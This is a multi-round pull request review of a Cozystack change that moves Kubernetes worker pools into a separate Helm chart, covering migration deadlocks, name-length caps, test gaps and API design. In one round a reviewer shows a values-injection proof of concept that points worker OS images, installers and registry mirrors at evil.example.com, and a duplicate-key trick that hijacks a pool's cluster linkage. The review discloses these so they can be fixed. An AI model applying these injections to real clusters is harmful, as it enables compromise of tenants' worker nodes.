feat(kubernetes)!: manage worker pools as KubernetesNodes, adopt on upgrade (Phase 2, breaking) - #3315

Review: adoption mechanism is sound, two things to fix before this can land

Reviewed against the base branch (feat/kubernetes-nodes-phase2a, #3314) rather than main, so the findings below are scoped to this PR's own changes. The core design is right and several of the load-bearing assumptions hold up under checking. Requesting changes for two issues: a name-length failure mode that can permanently block the platform upgrade for an entire management cluster, and the fact that the adoption code path — the part that mutates ownership of running worker VMs — is not executed by any test. Two further items are API-design gaps that bite after the upgrade rather than during it, and are cheap to close now.

What holds up

Three assumptions the migration rests on, checked individually rather than taken on faith.

The keep pin actually protects the objects. Helm's Client.Update calls info.Get() to refresh each to-be-deleted resource from the cluster before reading helm.sh/resource-policy, so annotating live objects rather than the stored release manifest is the correct approach, and that is what migration 52 does.

The parent chart tolerates the leftover values. The migration deliberately leaves nodeGroups and nodeHealthCheck in the parent HelmRelease rather than stripping them mid-window. packages/apps/kubernetes/values.schema.json carries no additionalProperties: false at any level, and rendering the new parent chart with a populated nodeGroups produces 45 documents without error. The choice works as described.

Render parity carries over. The pool chart's snapshot suite passes, and the golden-parity script it replaces passes on the base branch, so the content-hashed KubevirtMachineTemplate name is preserved across adoption and live worker VMs do not churn.

1. Migration 52 can permanently deadlock the platform upgrade on a long cluster name

packages/core/platform/images/migrations/migrations/52:128-131

The migration hard-exits when kubernetes-nodes-<cluster>-<pool> exceeds 53 characters. But cluster names up to 42 characters are legal today — pkg/registry/apps/application/rest.go:1303 computes the cap as 53 - len("kubernetes-"). The child release carries the longer kubernetes-nodes- prefix, so adoption requires cluster plus pool to fit in 36 characters combined. Any existing cluster named longer than roughly 32 characters therefore fails this check on every run.

Concretely: a tenant has a cluster named production-eu-central-analytics-01 (33 characters) with pool md0. The child release name comes to 54 characters, the migration exits 1, run-migrations.sh aborts the pre-upgrade hook, the platform HelmRelease never applies, and CURRENT_VERSION stays at 52. Every subsequent upgrade attempt hits the same fatal exit. One tenant's perfectly legal cluster name blocks platform upgrades for the entire management cluster, and the only remedy available to the operator is deleting and recreating that cluster.

Failing closed is the right instinct here — a pool left unpinned gets pruned, which is worse — but this fails closed permanently with no path out. Worth deciding on a recovery story: either the overflow case takes a deterministically shortened release name with the mapping recorded, or the pool is skipped and reported loudly while remaining under the parent (which implies the parent keeps rendering pools it could not hand off, a larger change).

Related and worth a line in the header comment either way: the run is not atomic. The exit happens mid-stream, so tenants processed before the failure already have adopted, pinned objects and a child HelmRelease while later tenants have nothing. That intermediate state is safe, since nothing prunes until the platform HelmRelease applies and it never does, but an operator debugging the stuck upgrade will find the fleet in two states and should be told to expect that.

2. The adoption path is never executed by any test

hack/testdata/migration-52/kubectl:16-21

The fake kubectl returns non-zero for every MachineDeployment, MachineHealthCheck, WorkloadMonitor and KubevirtMachineTemplate get, so every adopt_one call short-circuits at migrations/52:77-80 on "absent, skipping". What that means in practice: the keep and release-name annotate, the "already adopted" idempotency branch, the "owned by unexpected release, refusing" guard, and the ^kubernetes-<cluster>-<group>-[0-9a-f]{6}$ regex that exists specifically to stop pool md0 mis-adopting sibling md0-large's templates are none of them exercised. The two tests pin the jq value mapping and nothing else.

The e2e does not cover it either. hack/e2e-chainsaw/_lib/run-kubernetes.sh:325-345 creates a KubernetesNodes CR directly, which exercises the greenfield path, and there is no 52-to-53 upgrade scenario anywhere under hack/e2e-chainsaw/.

This matters more than a routine coverage gap because the bats file's own header documents that the last bug in this script — a jq scoping mistake that would have rolled every live worker VM — survived static review and was caught only by e2e on a real cluster. The branch still untested is the one that mutates ownership of running infrastructure. Extending the fake to return objects annotated meta.helm.sh/release-name=kubernetes-test3 and asserting the resulting annotate calls would cover the idempotency and refusal branches directly, and looks like roughly twenty lines.

3. Nothing validates the pool's Kubernetes version against the parent cluster

packages/apps/kubernetes-nodes/values.yaml:79 and packages/apps/kubernetes-nodes/templates/nodegroup.yaml:458

The pool chart defaults version: "v1.35" and derives the machine version purely from its own .Values.version. The parent cluster's version is never read — the chart's only lookup calls are for the instancetype and for KubevirtMachineTemplate/MachineSet preservation. The README says the value "must match the parent cluster's version", but nothing enforces it.

Failure scenario: an operator running a v1.31 cluster creates a worker pool through the dashboard and accepts the defaults. The pool renders v1.35.6 and the new workers join a v1.31 control plane with a kubelet four minor versions ahead of the apiserver. Kubernetes supports kubelet at or below apiserver version only; the reverse skew is unsupported and fails in ways that are hard to trace back to a chart default.

The monolithic chart made this impossible by construction, since one version fed both. Pools adopted by the migration are fine — it copies version and talos from the parent, and the bats test pins exactly that. So this affects only pools created after the upgrade, which is every pool from then on. A lookup against the parent HelmRelease or KamajiControlPlane that fails the render on mismatch would close it, as would dropping the default so the field has to be supplied deliberately.

The same reasoning applies more mildly to talos.version, which at least has the support-matrix check against version to catch the worst combinations.

4. spec.cluster is mutable, and editing it deletes the pool's worker VMs

packages/system/kubernetes-nodes-rd/cozyrds/kubernetes-nodes.yaml — no field in the KubernetesNodes openAPISchema carries x-kubernetes-validations.

Every object the pool renders takes its name from the cluster linkage: KubevirtMachineTemplate at nodegroup.yaml:372, MachineDeployment at :381, MachineHealthCheck at :463, WorkloadMonitor at :500.

Failure scenario: an operator corrects what looks like a typo in spec.cluster on a running pool. The next reconcile renders an entirely new set of object names, Helm creates them and prunes the old MachineDeployment, and every running worker VM in that pool is deleted. No warning, no undo.

The parent chart marks its top-level storageClass immutable for a strictly milder reason, so the precedent exists. cluster should carry self == oldSelf. storageClass on the pool arguably should too: it is a KubevirtMachineTemplate content-hash input, so changing it rerolls every VM in the pool, and the parent's stated reason for leaving the old per-group field mutable — optional and undefaulted — no longer applies now that the pool's storageClass defaults to replicated.

5. The apiserver ClusterIP certSAN patch now lives only in a child release

packages/apps/kubernetes-nodes/templates/talos-reconcile-job.yaml:210-216 against packages/apps/kubernetes/templates/cluster.yaml:288-294

The parent renders certSANs with the two DNS names only, and with its talos-reconcile-job.yaml deleted it has nothing left that patches in the live Service ClusterIP. That patch now runs exclusively from a pool's Job.

Two consequences follow. A cluster with zero pools — an explicitly supported shape now, pinned by the new control_plane_only_test.yaml — never gets the ClusterIP into its apiserver certificate. And because KamajiControlPlane is a CRD, Helm's merge patch replaces the certSANs array wholesale, so any parent upgrade resets it to the two DNS entries, and recovery depends on an unrelated child release's Job happening to re-run, which it will not if its content hash is unchanged and its TTL has already cleared it.

Flagging this as a design question rather than a confirmed break, because the comment removed from the old Job states that workers deliberately dial the apiserver by DNS name with extraHostEntries precisely so the IP SAN is not needed, and the array-replace hazard predates this PR. What is new is that the control plane's certificate completeness has become a cross-release dependency. Worth confirming what actually consumes the IP SAN before deciding whether it needs addressing here.

6. The parent HelmRelease can fail during the migration window

packages/core/platform/images/migrations/migrations/52:30-32

The migration re-annotates live worker objects onto the child release during the platform's pre-upgrade hook, but the new parent chart artifact only publishes after that hook completes. If the parent kubernetes-<cluster> HelmRelease upgrades inside that window — a user edit, a forced reconcile, any values change — it renders the old chart, which still emits those objects, and Helm rejects the upgrade with an ownership-metadata error.

It self-heals once the new artifact lands, and the probability is low because Flux no-ops an interval reconcile when nothing changed. But the header comment describes the hook as "the only safe window" without acknowledging that the window is not actually quiet. A sentence in the comment, plus a note in the release notes advising operators not to edit Kubernetes CRs mid-upgrade, would cover it.

7. The default pool shape has no golden render coverage

packages/apps/kubernetes-nodes/tests/render_snapshot_test.yaml:29

Every snapshot case sets instanceType: "" with explicit resources, for the same reason the parity script it replaces did: lookup returns nil offline, so the instancetype-sized branch cannot render. That branch is the default (u1.medium) and the shape every migration-adopted md0 will use, so the guard that exists specifically to catch KubevirtMachineTemplate hash churn covers the branch that real clusters mostly do not use.

Not fixable within helm-unittest, and the e2e does run u1.medium, so the branch is exercised even if it is not pinned. Worth stating the limitation in the suite header alongside the existing note, so "golden render snapshot" is not read as broader than it is.

8. The migration copies the parent's whole images map

packages/core/platform/images/migrations/migrations/52:152

pick(.; ["version","talos","images"]) copies images wholesale, so an adopted pool's values carry waitForKubeconfig and talosCsrSigner — fields the KubernetesNodes schema does not declare, since it has only images.kubectl. Harmless to Helm, but the adopted CR surfaces fields the API does not document, and a dashboard round-trip may drop them silently and produce a spurious diff. Picking images.kubectl specifically would be cleaner and would match how the group fields are already handled.

9. Worker health disappears from the parent CR's status

The pool's WorkloadMonitor now carries the pool release's application labels, and getWorkloadsOperational at pkg/registry/apps/application/rest.go:1483-1491 selects monitors by application.kind, application.group and application.name. So the parent Kubernetes CR's WorkloadsReady condition becomes control-plane-only and no longer reflects worker health. That is arguably correct for a split, but it changes what a dashboard or a kubectl wait observes, and it is not currently in the README's breaking-change section.

Separately, and possibly deliberate: the pool's VM pod template still stamps apps.cozystack.io/application.kind: Kubernetes and application.name: <cluster> at nodegroup.yaml:112-114, which is required for byte-parity but means pool VMs are attributed to the parent application for lineage and quota purposes while the release that owns them is a KubernetesNodes. Worth confirming that accounting is intended.

Code Review

This pull request implements Phase 2 of the Kubernetes app split, moving worker node pools (including KubevirtMachineTemplate, MachineDeployment, MachineHealthCheck, and WorkloadMonitor) out of the monolithic kubernetes chart into a separate kubernetes-nodes chart. It introduces a platform migration script (migration 52) to adopt existing worker pools into the new per-pool HelmReleases without VM churn, alongside extensive updates to schemas, documentation, and tests. A critical issue was identified in the migration script where the shebang #!/bin/sh is incompatible with the pipefail option, which can be resolved by changing the shebang to #!/bin/bash.

Blocker is computeplane, and it is not in these commits, it is what they left.

packages/extra/computeplane still deploys apps/kubernetes and still passes nodeGroups at cluster.yaml:100, but nodeGroups is gone from that chart entirely now. Two helm template runs differing only in fully populated nodeGroups.md0 give byte identical output, zero MachineDeployment, exit 0, no warning. So fresh computeplane cluster comes up with no workers. Existing one is not adoptable either, migration 56 excludes it three times (label at migrations/56:264, name glob at 272, template name regex at 254) because release is computeplane-cluster, not kubernetes-*. Operator can escape the render guard by hand with helm.sh/resource-policy: keep, but then pool is unmanaged forever. It is off by default (apps/tenant/values.yaml:23) but package installs unconditionally with iaas bundle and there is no feature gate, so it is not dead code.

warnRemovedKubernetesFields cannot help here either, it returns on r.kindName != kubernetesKind (rest.go:1940) and computeplane never creates a Kubernetes CR.

Five tests in computeplane cluster_test.yaml touch nodeGroups and stay green, line 60 asserts a wrapped-chart default that does not exist anymore. That is why CI does not show this.

Round 6: 1 fixed, 2 half (warning works, i verified it end to end through real warning recorder on both entrypoints, but release note undercount is still open and PR body boxes still unticked), 3 fixed, 4 fixed.

Small one on the warning test: it covers the function and neither call site. Deleting both calls at rest.go:206 and :554 keeps go test ./pkg/registry/apps/application/ green.

Re-reviewed at 5b08d4863, three commits since my last round. Two blockers, and one of them is same class you closed twice already.

d93e136e2 fixes computeplane in mechanism. Pool HRs come out, clusterReleaseName wiring is right, object names are computeplane-cluster-<pool> which byte-matches what pre-split parent rendered, and cluster_release_name_test.yaml pins both directions. Blockers are not there. They are in how tenant values reach it.

1. New, nobody looked at this code yet: nodeGroup key lands on pool chart top-level values, node image included

extra/computeplane/templates/cluster.yaml:166-168 splices tenant group dict verbatim, and NodeGroup schema has no additionalProperties: false. tests/cluster_test.yaml:215 pins that pass-through on purpose. maxUnhealthy is shape and fine. talos is not:

values:
  cluster: computeplane-cluster
  clusterReleaseName: computeplane-cluster
  talos:
    imageFactoryURL: https://evil.example.com
    installerRepository: evil.example.com/installer
    schematicID: deadbeefdeadbeef...
    registryMirrors:
      ghcr.io:
        endpoints: ["https://evil.example.com/v2"]
        skipFallback: true
  version: v1.31
  images:
    kubectl: evil.example.com/kubectl:latest

kubernetes-nodes/templates/nodegroup.yaml:89 builds worker disk image from talos.imageFactoryURL and schematicID, talos-reconcile-job.yaml:332 builds in-guest installer from talos.installerRepository and schematicID. Pre-split those keys were inert, I grepped every template on origin/main for $group.talos, $group.version and $group.images and there is no reader. So on a module that says "cluster shape only, the security posture is fixed by the module and cannot be overridden through this knob" (values.yaml:34), tenant now picks worker OS image.

Same splice takes your own wiring too. cluster: and clusterReleaseName: sit at :164-165, above it, so a group key of the same name is a duplicate yaml key. Decoded through sigs.k8s.io/yaml v1.6.0, which is what helm and apiserver both use, tenant half wins:

spec.values = {"cluster":"attacker-cluster","clusterReleaseName":"kubernetes-attacker"}

Setting only clusterReleaseName keeps groupName prefix check happy, render exits 0, and pool MD/KMT/MHC attach to kubernetes-attacker. Computeplane loses its workers and they come up in a cluster the tenant has admin on. Fix is at the splice, omit $group "cluster" "clusterReleaseName" "talos" "version" "images", or pick the documented fields.

2. Third time this PR hits the 53-char cap, first time on this path

cluster.yaml:138 fixes a 38 char prefix, helm caps release name at 53, so 15 chars left for pool. workers-for-analytics-jobs renders kubernetes-nodes-computeplane-cluster-workers-for-analytics-jobs, 64 chars. Valid dns-1123 subdomain, so the HR is created and then never reconciles. No maxLength or propertyNames in schema, no render-time guard either. Pre-split a 26 char key was fine, objects were computeplane-cluster-<pool> inside parent release and no new helm release name existed.

lllamnyp closed this class on migration overflow branch in round 2, I closed it on api path in round 6, and rest.go:1291-1302 carries your own comment saying failing at render time on a child that can never be created is the outcome to avoid. Same thing again on code that is three days old. A fail next to the ingress-role guard at :50 is enough.

Repeat from last round, untouched

Migration 56 excludes computeplane. I wrote it out in round 7: label selector at :270 is apps.cozystack.io/application.kind=Kubernetes and the parent HR carries no such label, name glob at :278, KMT regex at :260. Three commits since touched 56 only to add a comment above DEFAULT_MD0. So an existing cluster deadlocks both ways, parent guard at apps/kubernetes/templates/cluster.yaml:133 refuses the render and assertNoForeignPool (_helpers.tpl:107) refuses the child, and the guard message points at a migration that will not touch this cluster.

Still not blocking. extra/computeplane is absent from origin/release-1.5 and origin/release-1.6 and no version tag carries it, so nothing released has one, a nightly stand does. Three lines in 56 or a sentence in the body.

Half done from last round

Round 7 I pointed at cluster_test.yaml line 60 asserting a wrapped-chart default that does not exist anymore. Tests are rewritten and green. The same sentence is still in the doc: values.yaml:34 says "the wrapped kubernetes chart emits its default scale-from-zero md0" and :27 says per-pool storageClass "falls back to the application-level storageClass of the wrapped kubernetes app". Module materialises md0 itself at :130-131 now, and storageClass falls back to kubernetes-nodes own replicated. Both strings are copied into values.schema.json, README.md:44 and :49, and computeplane-rd/cozyrds/computeplane.yaml:11 which is what dashboard renders, so this wants make generate in the package rather than a hand edit.

apps/kubernetes/README.md:98 is a good five point Phase 2 note and says nothing about computeplane pools becoming separate releases.

Fourth round on this one

Both boxes under "Not yet done (blocking draft to ready)" are unticked on a PR marked ready, and the body itself says the computeplane worker path is helm-unittest only, pending the live upgrade run. That path is the newest thing here and it is the thing that provisions the workers. No comment on the PR since 08-21.

Closed, checked by breaking them

Round 6. Cluster names 35 and up: maxKubernetesClusterName = 53-17-4 = 32 at rest.go:1302. Release note undercount: note names three removals, both immutability rules, 32 char cap and the ingress action, api-gate three entries all covered. Accepted-but-inert fields: warning plus README point 5. any: true as sibling key: inside the containsDocument map now, and flipping one negation reddens the suite, so all four assertions are live. Stale migration 54 refs: all five sites say 56.

Round 7. Warning covered the helper and neither call site: rest_warn_removed_fields_callsite_test.go. Replacing both calls at rest.go:206 and :554 with a no-op fails TestCreate_WarnsOnRemovedKubernetesFields and TestUpdate_WarnsOnRemovedKubernetesFields.

helm unittest green for extra/computeplane (10), apps/kubernetes-nodes (81 plus 12 snapshots) and core/platform (138), go test ./pkg/registry/apps/application/ ok. Require API owner review is red and needs lllamnyp or kvaps on this head, no code change fixes that one.

Approving. Both blockers from last round are closed and I checked them by re-running the same two exploits, not by reading the diff.

Allowlist is a better fix than the omit I asked for. pick at cluster.yaml:207 drops _cluster and nameOverride too, which I missed, and it does not reopen every time kubernetes-nodes gains a new top-level value. Rendering the old payload now gives {cluster, clusterReleaseName, diskSize, instanceType, maxReplicas, minReplicas, roles} and nothing else, talos, version, images, _cluster and nameOverride are all gone, and cluster / clusterReleaseName stay computeplane-cluster with no duplicate key. Reverting pick back to with $group reddens the suite, so those assertions are live.

Length and RFC-1123 guards both fire. workers-for-analytics-jobs and Md_0 fail the render with the right message, and the 15 char budget is derived from $clusterRelease so it cannot drift from the name rendered below it.

Migration 56 is what I looked at hardest, it is +109 in a fleet-wide pre-upgrade hook. Restamp is right and the loose inline-chart match is a good trade. I checked what a mislabel actually costs instead of taking the comment's word for it: the sweep creates the child HR unconditionally, so a mislabelled release does get a real HelmRelease and real CAPI objects, but DEFAULT_MD0 carries minReplicas: 0 and CAPI's defaulting webhook seeds spec.replicas from the min-size annotation, so the MachineDeployment lands at 0 and no Machine and no VM is created. Inert, like you wrote. On a current install nothing matches at all, I listed kubernetes-* HelmReleases on a dev stand and all nine unlabelled ones are the addon children whose chartRef is ...-kubernetes-<addon> with spec.chart absent, so both branches exclude them. The kubernetes-decoy case pins that.

One thing bats cannot cover is the kubectl label call itself, the fake kubectl only records it. I ran the real invocation against a live apiserver with --dry-run=server, on an HelmRelease your selector would never pick. All three labels land and nothing persists.

Gates: helm unittest green for extra/computeplane 12, apps/kubernetes-nodes 81, apps/kubernetes 145 and core/platform 138, both migration-56 bats suites green, go test ./pkg/registry/apps/application/ ok. Deleting the restamp block reddens the unlabelled-parent test, so the seven new cases are not vacuous either.

Three things left and none of them blocks.

values.yaml:34 still says unlisted NodeGroup fields "pass through to the wrapped chart unvalidated". Both halves are wrong now, they go to the pool chart and pick drops everything it does not name. A tenant who sets talos.version on a nodeGroup gets no error and no effect, same accepted-but-inert shape you added an admission warning for on the parent CR. The sentence is in the cozyrd as well so it wants make generate.

Migration 56 still does not reach computeplane. Third time I mention it and still not blocking, nothing released has one, the restamp would have been the place if you wanted it.

Both boxes under "Not yet done" are still unticked, fifth round on that. Your call now. Require API owner review needs lllamnyp or kvaps regardless, so there is a human gate after me either way.